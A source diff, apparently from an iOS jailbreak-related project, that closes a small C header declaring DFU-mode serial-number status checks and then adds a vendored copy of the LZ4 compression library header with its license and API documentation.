#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
uint16_t dfu_serial_number_get_cpid(char *serial);
|
||||||
|
bool dfu_serial_number_is_in_dfu_mode(char *serial);
|
||||||
|
bool dfu_serial_number_is_pwned(char *serial);
|
||||||
|
bool dfu_serial_number_is_in_yolo_dfu(char *serial);
|
||||||
|
bool device_serial_number_is_in_pongo_os(char *serial);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // LIBOPENRA1N__DFU_H
|
||||||
@@ -0,0 +1,860 @@
|
|||||||
|
/*
|
||||||
|
* LZ4 - Fast LZ compression algorithm
|
||||||
|
* Header File
|
||||||
|
* Copyright (C) 2011-2020, Yann Collet.
|
||||||
|
|
||||||
|
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions are
|
||||||
|
met:
|
||||||
|
|
||||||
|
* Redistributions of source code must retain the above copyright
|
||||||
|
notice, this list of conditions and the following disclaimer.
|
||||||
|
* Redistributions in binary form must reproduce the above
|
||||||
|
copyright notice, this list of conditions and the following disclaimer
|
||||||
|
in the documentation and/or other materials provided with the
|
||||||
|
distribution.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||||
|
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||||
|
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||||
|
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
You can contact the author at :
|
||||||
|
- LZ4 homepage : http://www.lz4.org
|
||||||
|
- LZ4 source repository : https://github.com/lz4/lz4
|
||||||
|
*/
|
||||||
|
#if defined (__cplusplus)
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef LZ4_H_2983827168210
|
||||||
|
#define LZ4_H_2983827168210
|
||||||
|
|
||||||
|
/* --- Dependency --- */
|
||||||
|
#include <stddef.h> /* size_t */
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
Introduction
|
||||||
|
|
||||||
|
LZ4 is lossless compression algorithm, providing compression speed >500 MB/s per core,
|
||||||
|
scalable with multi-cores CPU. It features an extremely fast decoder, with speed in
|
||||||
|
multiple GB/s per core, typically reaching RAM speed limits on multi-core systems.
|
||||||
|
|
||||||
|
The LZ4 compression library provides in-memory compression and decompression functions.
|
||||||
|
It gives full buffer control to user.
|
||||||
|
Compression can be done in:
|
||||||
|
- a single step (described as Simple Functions)
|
||||||
|
- a single step, reusing a context (described in Advanced Functions)
|
||||||
|
- unbounded multiple steps (described as Streaming compression)
|
||||||
|
|
||||||
|
lz4.h generates and decodes LZ4-compressed blocks (doc/lz4_Block_format.md).
|
||||||
|
Decompressing such a compressed block requires additional metadata.
|
||||||
|
Exact metadata depends on exact decompression function.
|
||||||
|
For the typical case of LZ4_decompress_safe(),
|
||||||
|
metadata includes block's compressed size, and maximum bound of decompressed size.
|
||||||
|
Each application is free to encode and pass such metadata in whichever way it wants.
|
||||||
|
|
||||||
|
lz4.h only handle blocks, it can not generate Frames.
|
||||||
|
|
||||||
|
Blocks are different from Frames (doc/lz4_Frame_format.md).
|
||||||
|
Frames bundle both blocks and metadata in a specified manner.
|
||||||
|
Embedding metadata is required for compressed data to be self-contained and portable.
|
||||||
|
Frame format is delivered through a companion API, declared in lz4frame.h.
|
||||||
|
The `lz4` CLI can only manage frames.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*^***************************************************************
|
||||||
|
* Export parameters
|
||||||
|
*****************************************************************/
|
||||||
|
/*
|
||||||
|
* LZ4_DLL_EXPORT :
|
||||||
|
* Enable exporting of functions when building a Windows DLL
|
||||||
|
* LZ4LIB_VISIBILITY :
|
||||||
|
* Control library symbols visibility.
|
||||||
|
*/
|
||||||
|
#ifndef LZ4LIB_VISIBILITY
|
||||||
|
# if defined(__GNUC__) && (__GNUC__ >= 4)
|
||||||
|
# define LZ4LIB_VISIBILITY __attribute__ ((visibility ("default")))
|
||||||
|
# else
|
||||||
|
# define LZ4LIB_VISIBILITY
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
#if defined(LZ4_DLL_EXPORT) && (LZ4_DLL_EXPORT==1)
|
||||||
|
# define LZ4LIB_API __declspec(dllexport) LZ4LIB_VISIBILITY
|
||||||
|
#elif defined(LZ4_DLL_IMPORT) && (LZ4_DLL_IMPORT==1)
|
||||||
|
# define LZ4LIB_API __declspec(dllimport) LZ4LIB_VISIBILITY /* It isn't required but allows to generate better code, saving a function pointer load from the IAT and an indirect jump.*/
|
||||||
|
#else
|
||||||
|
# define LZ4LIB_API LZ4LIB_VISIBILITY
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*! LZ4_FREESTANDING :
|
||||||
|
* When this macro is set to 1, it enables "freestanding mode" that is
|
||||||
|
* suitable for typical freestanding environment which doesn't support
|
||||||
|
* standard C library.
|
||||||
|
*
|
||||||
|
* - LZ4_FREESTANDING is a compile-time switch.
|
||||||
|
* - It requires the following macros to be defined:
|
||||||
|
* LZ4_memcpy, LZ4_memmove, LZ4_memset.
|
||||||
|
* - It only enables LZ4/HC functions which don't use heap.
|
||||||
|
* All LZ4F_* functions are not supported.
|
||||||
|
* - See tests/freestanding.c to check its basic setup.
|
||||||
|
*/
|
||||||
|
#if defined(LZ4_FREESTANDING) && (LZ4_FREESTANDING == 1)
|
||||||
|
# define LZ4_HEAPMODE 0
|
||||||
|
# define LZ4HC_HEAPMODE 0
|
||||||
|
# define LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION 1
|
||||||
|
# if !defined(LZ4_memcpy)
|
||||||
|
# error "LZ4_FREESTANDING requires macro 'LZ4_memcpy'."
|
||||||
|
# endif
|
||||||
|
# if !defined(LZ4_memset)
|
||||||
|
# error "LZ4_FREESTANDING requires macro 'LZ4_memset'."
|
||||||
|
# endif
|
||||||
|
# if !defined(LZ4_memmove)
|
||||||
|
# error "LZ4_FREESTANDING requires macro 'LZ4_memmove'."
|
||||||
|
# endif
|
||||||
|
#elif ! defined(LZ4_FREESTANDING)
|
||||||
|
# define LZ4_FREESTANDING 0
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/*------ Version ------*/
|
||||||
|
#define LZ4_VERSION_MAJOR 1 /* for breaking interface changes */
|
||||||
|
#define LZ4_VERSION_MINOR 9 /* for new (non-breaking) interface capabilities */
|
||||||
|
#define LZ4_VERSION_RELEASE 4 /* for tweaks, bug-fixes, or development */
|
||||||
|
|
||||||
|
#define LZ4_VERSION_NUMBER (LZ4_VERSION_MAJOR *100*100 + LZ4_VERSION_MINOR *100 + LZ4_VERSION_RELEASE)
|
||||||
|
|
||||||
|
#define LZ4_LIB_VERSION LZ4_VERSION_MAJOR.LZ4_VERSION_MINOR.LZ4_VERSION_RELEASE
|
||||||
|
#define LZ4_QUOTE(str) #str
|
||||||
|
#define LZ4_EXPAND_AND_QUOTE(str) LZ4_QUOTE(str)
|
||||||
|
#define LZ4_VERSION_STRING LZ4_EXPAND_AND_QUOTE(LZ4_LIB_VERSION) /* requires v1.7.3+ */
|
||||||
|
|
||||||
|
LZ4LIB_API int LZ4_versionNumber (void); /**< library version number; useful to check dll version; requires v1.3.0+ */
|
||||||
|
LZ4LIB_API const char* LZ4_versionString (void); /**< library version string; useful to check dll version; requires v1.7.5+ */
|
||||||
|
|
||||||
|
|
||||||
|
/*-************************************
|
||||||
|
* Tuning parameter
|
||||||
|
**************************************/
|
||||||
|
#define LZ4_MEMORY_USAGE_MIN 10
|
||||||
|
#define LZ4_MEMORY_USAGE_DEFAULT 14
|
||||||
|
#define LZ4_MEMORY_USAGE_MAX 20
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* LZ4_MEMORY_USAGE :
|
||||||
|
* Memory usage formula : N->2^N Bytes (examples : 10 -> 1KB; 12 -> 4KB ; 16 -> 64KB; 20 -> 1MB; )
|
||||||
|
* Increasing memory usage improves compression ratio, at the cost of speed.
|
||||||
|
* Reduced memory usage may improve speed at the cost of ratio, thanks to better cache locality.
|
||||||
|
* Default value is 14, for 16KB, which nicely fits into Intel x86 L1 cache
|
||||||
|
*/
|
||||||
|
#ifndef LZ4_MEMORY_USAGE
|
||||||
|
# define LZ4_MEMORY_USAGE LZ4_MEMORY_USAGE_DEFAULT
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if (LZ4_MEMORY_USAGE < LZ4_MEMORY_USAGE_MIN)
|
||||||
|
# error "LZ4_MEMORY_USAGE is too small !"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if (LZ4_MEMORY_USAGE > LZ4_MEMORY_USAGE_MAX)
|
||||||
|
# error "LZ4_MEMORY_USAGE is too large !"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*-************************************
|
||||||
|
* Simple Functions
|
||||||
|
**************************************/
|
||||||
|
/*! LZ4_compress_default() :
|
||||||
|
* Compresses 'srcSize' bytes from buffer 'src'
|
||||||
|
* into already allocated 'dst' buffer of size 'dstCapacity'.
|
||||||
|
* Compression is guaranteed to succeed if 'dstCapacity' >= LZ4_compressBound(srcSize).
|
||||||
|
* It also runs faster, so it's a recommended setting.
|
||||||
|
* If the function cannot compress 'src' into a more limited 'dst' budget,
|
||||||
|
* compression stops *immediately*, and the function result is zero.
|
||||||
|
* In which case, 'dst' content is undefined (invalid).
|
||||||
|
* srcSize : max supported value is LZ4_MAX_INPUT_SIZE.
|
||||||
|
* dstCapacity : size of buffer 'dst' (which must be already allocated)
|
||||||
|
* @return : the number of bytes written into buffer 'dst' (necessarily <= dstCapacity)
|
||||||
|
* or 0 if compression fails
|
||||||
|
* Note : This function is protected against buffer overflow scenarios (never writes outside 'dst' buffer, nor read outside 'source' buffer).
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_compress_default(const char* src, char* dst, int srcSize, int dstCapacity);
|
||||||
|
|
||||||
|
/*! LZ4_decompress_safe() :
|
||||||
|
* @compressedSize : is the exact complete size of the compressed block.
|
||||||
|
* @dstCapacity : is the size of destination buffer (which must be already allocated),
|
||||||
|
* is an upper bound of decompressed size.
|
||||||
|
* @return : the number of bytes decompressed into destination buffer (necessarily <= dstCapacity)
|
||||||
|
* If destination buffer is not large enough, decoding will stop and output an error code (negative value).
|
||||||
|
* If the source stream is detected malformed, the function will stop decoding and return a negative result.
|
||||||
|
* Note 1 : This function is protected against malicious data packets :
|
||||||
|
* it will never writes outside 'dst' buffer, nor read outside 'source' buffer,
|
||||||
|
* even if the compressed block is maliciously modified to order the decoder to do these actions.
|
||||||
|
* In such case, the decoder stops immediately, and considers the compressed block malformed.
|
||||||
|
* Note 2 : compressedSize and dstCapacity must be provided to the function, the compressed block does not contain them.
|
||||||
|
* The implementation is free to send / store / derive this information in whichever way is most beneficial.
|
||||||
|
* If there is a need for a different format which bundles together both compressed data and its metadata, consider looking at lz4frame.h instead.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_decompress_safe (const char* src, char* dst, int compressedSize, int dstCapacity);
|
||||||
|
|
||||||
|
|
||||||
|
/*-************************************
|
||||||
|
* Advanced Functions
|
||||||
|
**************************************/
|
||||||
|
#define LZ4_MAX_INPUT_SIZE 0x7E000000 /* 2 113 929 216 bytes */
|
||||||
|
#define LZ4_COMPRESSBOUND(isize) ((unsigned)(isize) > (unsigned)LZ4_MAX_INPUT_SIZE ? 0 : (isize) + ((isize)/255) + 16)
|
||||||
|
|
||||||
|
/*! LZ4_compressBound() :
|
||||||
|
Provides the maximum size that LZ4 compression may output in a "worst case" scenario (input data not compressible)
|
||||||
|
This function is primarily useful for memory allocation purposes (destination buffer size).
|
||||||
|
Macro LZ4_COMPRESSBOUND() is also provided for compilation-time evaluation (stack memory allocation for example).
|
||||||
|
Note that LZ4_compress_default() compresses faster when dstCapacity is >= LZ4_compressBound(srcSize)
|
||||||
|
inputSize : max supported value is LZ4_MAX_INPUT_SIZE
|
||||||
|
return : maximum output size in a "worst case" scenario
|
||||||
|
or 0, if input size is incorrect (too large or negative)
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_compressBound(int inputSize);
|
||||||
|
|
||||||
|
/*! LZ4_compress_fast() :
|
||||||
|
Same as LZ4_compress_default(), but allows selection of "acceleration" factor.
|
||||||
|
The larger the acceleration value, the faster the algorithm, but also the lesser the compression.
|
||||||
|
It's a trade-off. It can be fine tuned, with each successive value providing roughly +~3% to speed.
|
||||||
|
An acceleration value of "1" is the same as regular LZ4_compress_default()
|
||||||
|
Values <= 0 will be replaced by LZ4_ACCELERATION_DEFAULT (currently == 1, see lz4.c).
|
||||||
|
Values > LZ4_ACCELERATION_MAX will be replaced by LZ4_ACCELERATION_MAX (currently == 65537, see lz4.c).
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_compress_fast (const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
|
||||||
|
|
||||||
|
/*! LZ4_compress_fast_extState() :
|
||||||
|
* Same as LZ4_compress_fast(), using an externally allocated memory space for its state.
|
||||||
|
* Use LZ4_sizeofState() to know how much memory must be allocated,
|
||||||
|
* and allocate it on 8-bytes boundaries (using `malloc()` typically).
|
||||||
|
* Then, provide this buffer as `void* state` to compression function.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_sizeofState(void);
|
||||||
|
LZ4LIB_API int LZ4_compress_fast_extState (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
|
||||||
|
|
||||||
|
|
||||||
|
/*! LZ4_compress_destSize() :
|
||||||
|
* Reverse the logic : compresses as much data as possible from 'src' buffer
|
||||||
|
* into already allocated buffer 'dst', of size >= 'targetDestSize'.
|
||||||
|
* This function either compresses the entire 'src' content into 'dst' if it's large enough,
|
||||||
|
* or fill 'dst' buffer completely with as much data as possible from 'src'.
|
||||||
|
* note: acceleration parameter is fixed to "default".
|
||||||
|
*
|
||||||
|
* *srcSizePtr : will be modified to indicate how many bytes where read from 'src' to fill 'dst'.
|
||||||
|
* New value is necessarily <= input value.
|
||||||
|
* @return : Nb bytes written into 'dst' (necessarily <= targetDestSize)
|
||||||
|
* or 0 if compression fails.
|
||||||
|
*
|
||||||
|
* Note : from v1.8.2 to v1.9.1, this function had a bug (fixed un v1.9.2+):
|
||||||
|
* the produced compressed content could, in specific circumstances,
|
||||||
|
* require to be decompressed into a destination buffer larger
|
||||||
|
* by at least 1 byte than the content to decompress.
|
||||||
|
* If an application uses `LZ4_compress_destSize()`,
|
||||||
|
* it's highly recommended to update liblz4 to v1.9.2 or better.
|
||||||
|
* If this can't be done or ensured,
|
||||||
|
* the receiving decompression function should provide
|
||||||
|
* a dstCapacity which is > decompressedSize, by at least 1 byte.
|
||||||
|
* See https://github.com/lz4/lz4/issues/859 for details
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_compress_destSize (const char* src, char* dst, int* srcSizePtr, int targetDstSize);
|
||||||
|
|
||||||
|
/*! LZ4_decompress_safe_partial() :
|
||||||
|
* Decompress an LZ4 compressed block, of size 'srcSize' at position 'src',
|
||||||
|
* into destination buffer 'dst' of size 'dstCapacity'.
|
||||||
|
* Up to 'targetOutputSize' bytes will be decoded.
|
||||||
|
* The function stops decoding on reaching this objective.
|
||||||
|
* This can be useful to boost performance
|
||||||
|
* whenever only the beginning of a block is required.
|
||||||
|
*
|
||||||
|
* @return : the number of bytes decoded in `dst` (necessarily <= targetOutputSize)
|
||||||
|
* If source stream is detected malformed, function returns a negative result.
|
||||||
|
*
|
||||||
|
* Note 1 : @return can be < targetOutputSize, if compressed block contains less data.
|
||||||
|
*
|
||||||
|
* Note 2 : targetOutputSize must be <= dstCapacity
|
||||||
|
*
|
||||||
|
* Note 3 : this function effectively stops decoding on reaching targetOutputSize,
|
||||||
|
* so dstCapacity is kind of redundant.
|
||||||
|
* This is because in older versions of this function,
|
||||||
|
* decoding operation would still write complete sequences.
|
||||||
|
* Therefore, there was no guarantee that it would stop writing at exactly targetOutputSize,
|
||||||
|
* it could write more bytes, though only up to dstCapacity.
|
||||||
|
* Some "margin" used to be required for this operation to work properly.
|
||||||
|
* Thankfully, this is no longer necessary.
|
||||||
|
* The function nonetheless keeps the same signature, in an effort to preserve API compatibility.
|
||||||
|
*
|
||||||
|
* Note 4 : If srcSize is the exact size of the block,
|
||||||
|
* then targetOutputSize can be any value,
|
||||||
|
* including larger than the block's decompressed size.
|
||||||
|
* The function will, at most, generate block's decompressed size.
|
||||||
|
*
|
||||||
|
* Note 5 : If srcSize is _larger_ than block's compressed size,
|
||||||
|
* then targetOutputSize **MUST** be <= block's decompressed size.
|
||||||
|
* Otherwise, *silent corruption will occur*.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_decompress_safe_partial (const char* src, char* dst, int srcSize, int targetOutputSize, int dstCapacity);
|
||||||
|
|
||||||
|
|
||||||
|
/*-*********************************************
|
||||||
|
* Streaming Compression Functions
|
||||||
|
***********************************************/
|
||||||
|
typedef union LZ4_stream_u LZ4_stream_t; /* incomplete type (defined later) */
|
||||||
|
|
||||||
|
/**
|
||||||
|
Note about RC_INVOKED
|
||||||
|
|
||||||
|
- RC_INVOKED is predefined symbol of rc.exe (the resource compiler which is part of MSVC/Visual Studio).
|
||||||
|
https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros
|
||||||
|
|
||||||
|
- Since rc.exe is a legacy compiler, it truncates long symbol (> 30 chars)
|
||||||
|
and reports warning "RC4011: identifier truncated".
|
||||||
|
|
||||||
|
- To eliminate the warning, we surround long preprocessor symbol with
|
||||||
|
"#if !defined(RC_INVOKED) ... #endif" block that means
|
||||||
|
"skip this block when rc.exe is trying to read it".
|
||||||
|
*/
|
||||||
|
#if !defined(RC_INVOKED) /* https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros */
|
||||||
|
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
|
||||||
|
LZ4LIB_API LZ4_stream_t* LZ4_createStream(void);
|
||||||
|
LZ4LIB_API int LZ4_freeStream (LZ4_stream_t* streamPtr);
|
||||||
|
#endif /* !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*! LZ4_resetStream_fast() : v1.9.0+
|
||||||
|
* Use this to prepare an LZ4_stream_t for a new chain of dependent blocks
|
||||||
|
* (e.g., LZ4_compress_fast_continue()).
|
||||||
|
*
|
||||||
|
* An LZ4_stream_t must be initialized once before usage.
|
||||||
|
* This is automatically done when created by LZ4_createStream().
|
||||||
|
* However, should the LZ4_stream_t be simply declared on stack (for example),
|
||||||
|
* it's necessary to initialize it first, using LZ4_initStream().
|
||||||
|
*
|
||||||
|
* After init, start any new stream with LZ4_resetStream_fast().
|
||||||
|
* A same LZ4_stream_t can be re-used multiple times consecutively
|
||||||
|
* and compress multiple streams,
|
||||||
|
* provided that it starts each new stream with LZ4_resetStream_fast().
|
||||||
|
*
|
||||||
|
* LZ4_resetStream_fast() is much faster than LZ4_initStream(),
|
||||||
|
* but is not compatible with memory regions containing garbage data.
|
||||||
|
*
|
||||||
|
* Note: it's only useful to call LZ4_resetStream_fast()
|
||||||
|
* in the context of streaming compression.
|
||||||
|
* The *extState* functions perform their own resets.
|
||||||
|
* Invoking LZ4_resetStream_fast() before is redundant, and even counterproductive.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API void LZ4_resetStream_fast (LZ4_stream_t* streamPtr);
|
||||||
|
|
||||||
|
/*! LZ4_loadDict() :
|
||||||
|
* Use this function to reference a static dictionary into LZ4_stream_t.
|
||||||
|
* The dictionary must remain available during compression.
|
||||||
|
* LZ4_loadDict() triggers a reset, so any previous data will be forgotten.
|
||||||
|
* The same dictionary will have to be loaded on decompression side for successful decoding.
|
||||||
|
* Dictionary are useful for better compression of small data (KB range).
|
||||||
|
* While LZ4 accept any input as dictionary,
|
||||||
|
* results are generally better when using Zstandard's Dictionary Builder.
|
||||||
|
* Loading a size of 0 is allowed, and is the same as reset.
|
||||||
|
* @return : loaded dictionary size, in bytes (necessarily <= 64 KB)
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_loadDict (LZ4_stream_t* streamPtr, const char* dictionary, int dictSize);
|
||||||
|
|
||||||
|
/*! LZ4_compress_fast_continue() :
|
||||||
|
* Compress 'src' content using data from previously compressed blocks, for better compression ratio.
|
||||||
|
* 'dst' buffer must be already allocated.
|
||||||
|
* If dstCapacity >= LZ4_compressBound(srcSize), compression is guaranteed to succeed, and runs faster.
|
||||||
|
*
|
||||||
|
* @return : size of compressed block
|
||||||
|
* or 0 if there is an error (typically, cannot fit into 'dst').
|
||||||
|
*
|
||||||
|
* Note 1 : Each invocation to LZ4_compress_fast_continue() generates a new block.
|
||||||
|
* Each block has precise boundaries.
|
||||||
|
* Each block must be decompressed separately, calling LZ4_decompress_*() with relevant metadata.
|
||||||
|
* It's not possible to append blocks together and expect a single invocation of LZ4_decompress_*() to decompress them together.
|
||||||
|
*
|
||||||
|
* Note 2 : The previous 64KB of source data is __assumed__ to remain present, unmodified, at same address in memory !
|
||||||
|
*
|
||||||
|
* Note 3 : When input is structured as a double-buffer, each buffer can have any size, including < 64 KB.
|
||||||
|
* Make sure that buffers are separated, by at least one byte.
|
||||||
|
* This construction ensures that each block only depends on previous block.
|
||||||
|
*
|
||||||
|
* Note 4 : If input buffer is a ring-buffer, it can have any size, including < 64 KB.
|
||||||
|
*
|
||||||
|
* Note 5 : After an error, the stream status is undefined (invalid), it can only be reset or freed.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_compress_fast_continue (LZ4_stream_t* streamPtr, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
|
||||||
|
|
||||||
|
/*! LZ4_saveDict() :
|
||||||
|
* If last 64KB data cannot be guaranteed to remain available at its current memory location,
|
||||||
|
* save it into a safer place (char* safeBuffer).
|
||||||
|
* This is schematically equivalent to a memcpy() followed by LZ4_loadDict(),
|
||||||
|
* but is much faster, because LZ4_saveDict() doesn't need to rebuild tables.
|
||||||
|
* @return : saved dictionary size in bytes (necessarily <= maxDictSize), or 0 if error.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_saveDict (LZ4_stream_t* streamPtr, char* safeBuffer, int maxDictSize);
|
||||||
|
|
||||||
|
|
||||||
|
/*-**********************************************
|
||||||
|
* Streaming Decompression Functions
|
||||||
|
* Bufferless synchronous API
|
||||||
|
************************************************/
|
||||||
|
typedef union LZ4_streamDecode_u LZ4_streamDecode_t; /* tracking context */
|
||||||
|
|
||||||
|
/*! LZ4_createStreamDecode() and LZ4_freeStreamDecode() :
|
||||||
|
* creation / destruction of streaming decompression tracking context.
|
||||||
|
* A tracking context can be re-used multiple times.
|
||||||
|
*/
|
||||||
|
#if !defined(RC_INVOKED) /* https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros */
|
||||||
|
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
|
||||||
|
LZ4LIB_API LZ4_streamDecode_t* LZ4_createStreamDecode(void);
|
||||||
|
LZ4LIB_API int LZ4_freeStreamDecode (LZ4_streamDecode_t* LZ4_stream);
|
||||||
|
#endif /* !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*! LZ4_setStreamDecode() :
|
||||||
|
* An LZ4_streamDecode_t context can be allocated once and re-used multiple times.
|
||||||
|
* Use this function to start decompression of a new stream of blocks.
|
||||||
|
* A dictionary can optionally be set. Use NULL or size 0 for a reset order.
|
||||||
|
* Dictionary is presumed stable : it must remain accessible and unmodified during next decompression.
|
||||||
|
* @return : 1 if OK, 0 if error
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_setStreamDecode (LZ4_streamDecode_t* LZ4_streamDecode, const char* dictionary, int dictSize);
|
||||||
|
|
||||||
|
/*! LZ4_decoderRingBufferSize() : v1.8.2+
|
||||||
|
* Note : in a ring buffer scenario (optional),
|
||||||
|
* blocks are presumed decompressed next to each other
|
||||||
|
* up to the moment there is not enough remaining space for next block (remainingSize < maxBlockSize),
|
||||||
|
* at which stage it resumes from beginning of ring buffer.
|
||||||
|
* When setting such a ring buffer for streaming decompression,
|
||||||
|
* provides the minimum size of this ring buffer
|
||||||
|
* to be compatible with any source respecting maxBlockSize condition.
|
||||||
|
* @return : minimum ring buffer size,
|
||||||
|
* or 0 if there is an error (invalid maxBlockSize).
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int LZ4_decoderRingBufferSize(int maxBlockSize);
|
||||||
|
#define LZ4_DECODER_RING_BUFFER_SIZE(maxBlockSize) (65536 + 14 + (maxBlockSize)) /* for static allocation; maxBlockSize presumed valid */
|
||||||
|
|
||||||
|
/*! LZ4_decompress_safe_continue() :
|
||||||
|
* This decoding function allows decompression of consecutive blocks in "streaming" mode.
|
||||||
|
* The difference with the usual independent blocks is that
|
||||||
|
* new blocks are allowed to find references into former blocks.
|
||||||
|
* A block is an unsplittable entity, and must be presented entirely to the decompression function.
|
||||||
|
* LZ4_decompress_safe_continue() only accepts one block at a time.
|
||||||
|
* It's modeled after `LZ4_decompress_safe()` and behaves similarly.
|
||||||
|
*
|
||||||
|
* @LZ4_streamDecode : decompression state, tracking the position in memory of past data
|
||||||
|
* @compressedSize : exact complete size of one compressed block.
|
||||||
|
* @dstCapacity : size of destination buffer (which must be already allocated),
|
||||||
|
* must be an upper bound of decompressed size.
|
||||||
|
* @return : number of bytes decompressed into destination buffer (necessarily <= dstCapacity)
|
||||||
|
* If destination buffer is not large enough, decoding will stop and output an error code (negative value).
|
||||||
|
* If the source stream is detected malformed, the function will stop decoding and return a negative result.
|
||||||
|
*
|
||||||
|
* The last 64KB of previously decoded data *must* remain available and unmodified
|
||||||
|
* at the memory position where they were previously decoded.
|
||||||
|
* If less than 64KB of data has been decoded, all the data must be present.
|
||||||
|
*
|
||||||
|
* Special : if decompression side sets a ring buffer, it must respect one of the following conditions :
|
||||||
|
* - Decompression buffer size is _at least_ LZ4_decoderRingBufferSize(maxBlockSize).
|
||||||
|
* maxBlockSize is the maximum size of any single block. It can have any value > 16 bytes.
|
||||||
|
* In which case, encoding and decoding buffers do not need to be synchronized.
|
||||||
|
* Actually, data can be produced by any source compliant with LZ4 format specification, and respecting maxBlockSize.
|
||||||
|
* - Synchronized mode :
|
||||||
|
* Decompression buffer size is _exactly_ the same as compression buffer size,
|
||||||
|
* and follows exactly same update rule (block boundaries at same positions),
|
||||||
|
* and decoding function is provided with exact decompressed size of each block (exception for last block of the stream),
|
||||||
|
* _then_ decoding & encoding ring buffer can have any size, including small ones ( < 64 KB).
|
||||||
|
* - Decompression buffer is larger than encoding buffer, by a minimum of maxBlockSize more bytes.
|
||||||
|
* In which case, encoding and decoding buffers do not need to be synchronized,
|
||||||
|
* and encoding ring buffer can have any size, including small ones ( < 64 KB).
|
||||||
|
*
|
||||||
|
* Whenever these conditions are not possible,
|
||||||
|
* save the last 64KB of decoded data into a safe buffer where it can't be modified during decompression,
|
||||||
|
* then indicate where this data is saved using LZ4_setStreamDecode(), before decompressing next block.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int
|
||||||
|
LZ4_decompress_safe_continue (LZ4_streamDecode_t* LZ4_streamDecode,
|
||||||
|
const char* src, char* dst,
|
||||||
|
int srcSize, int dstCapacity);
|
||||||
|
|
||||||
|
|
||||||
|
/*! LZ4_decompress_safe_usingDict() :
|
||||||
|
* Works the same as
|
||||||
|
* a combination of LZ4_setStreamDecode() followed by LZ4_decompress_safe_continue()
|
||||||
|
* However, it's stateless: it doesn't need any LZ4_streamDecode_t state.
|
||||||
|
* Dictionary is presumed stable : it must remain accessible and unmodified during decompression.
|
||||||
|
* Performance tip : Decompression speed can be substantially increased
|
||||||
|
* when dst == dictStart + dictSize.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int
|
||||||
|
LZ4_decompress_safe_usingDict(const char* src, char* dst,
|
||||||
|
int srcSize, int dstCapacity,
|
||||||
|
const char* dictStart, int dictSize);
|
||||||
|
|
||||||
|
/*! LZ4_decompress_safe_partial_usingDict() :
|
||||||
|
* Behaves the same as LZ4_decompress_safe_partial()
|
||||||
|
* with the added ability to specify a memory segment for past data.
|
||||||
|
* Performance tip : Decompression speed can be substantially increased
|
||||||
|
* when dst == dictStart + dictSize.
|
||||||
|
*/
|
||||||
|
LZ4LIB_API int
|
||||||
|
LZ4_decompress_safe_partial_usingDict(const char* src, char* dst,
|
